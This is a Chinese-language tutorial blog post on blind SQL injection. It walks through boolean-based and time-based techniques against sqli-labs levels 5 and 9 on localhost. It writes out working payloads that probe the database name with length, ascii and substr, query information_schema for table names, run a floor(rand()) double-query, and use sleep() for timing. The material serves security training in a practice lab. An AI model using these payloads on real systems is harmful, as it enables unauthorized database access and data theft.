SQL盲注

布尔盲注

布尔盲注是在页面没有错误回显时完成的注入,以sql-labs第五关为例

当输入id=1时

而输入id=-1时

常用函数

substr(str,m,n),表示在str中从第m个开始截取n个

ascii(),返回字符的ASCII码

length(),返回字符的长度

判断是否存在注入

http://localhost:63342/WWW/sqli-labs/Less-5/index.php?id=1'

报错,存在注入

 查询数据库长度

id=1' and length(database())<9 --+    // You are in
id=1' and length(database())<8 --+    //无

 说明数据库长度为8

查询数据库名

id=1' and ascii(substr(database(),1,1))<115 --+    //无
id=1' and ascii(substr(database(),1,1))<116 --+    // You are in

说明数据库第一个字母为s,利用二分法,以此类推,得出数据库名 

ASCII码对应表 

 利用如下语句查询表的名称

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))

 接着,同理查询列名,可参考普通SQL注入

当然,这个题也可以使用双注:

id=-1' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+

 时间盲注

时间盲注是无论输入是否错误页面都无变化时的注入,以sql-labs第九关为例

输入id=1或id=-1,页面都是一样的(如下图)

常用函数

if(expr1,expr2,expr3):expr1是判断条件,符合执行expr2,否则执行expr3,可参考三目运算符

sleep(s):休息s秒

 这时,我们可以利用sleep()函数,强制让页面出现不同。

当输入以下时,页面延迟了五秒:

http://localhost:63342/WWW/sqli-labs/Less-9/index.php?id=1' and sleep(5) --+

 可根据网速,选择合适的时间

查询数据库长度

id=1' and if(length(database())<9,sleep(5),1)   //有延迟
id=1' and if(length(database())<8,sleep(5),1)   //无延迟

说明数据库长度为8

查询数据库名

id=1' and if(ascii(substr(database(),1,1))<115,sleep(5),1) --+
id=1' and if(ascii(substr(database(),1,1))<116,sleep(5),1) --+

剩下的和布尔盲注一样,就不详说了

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值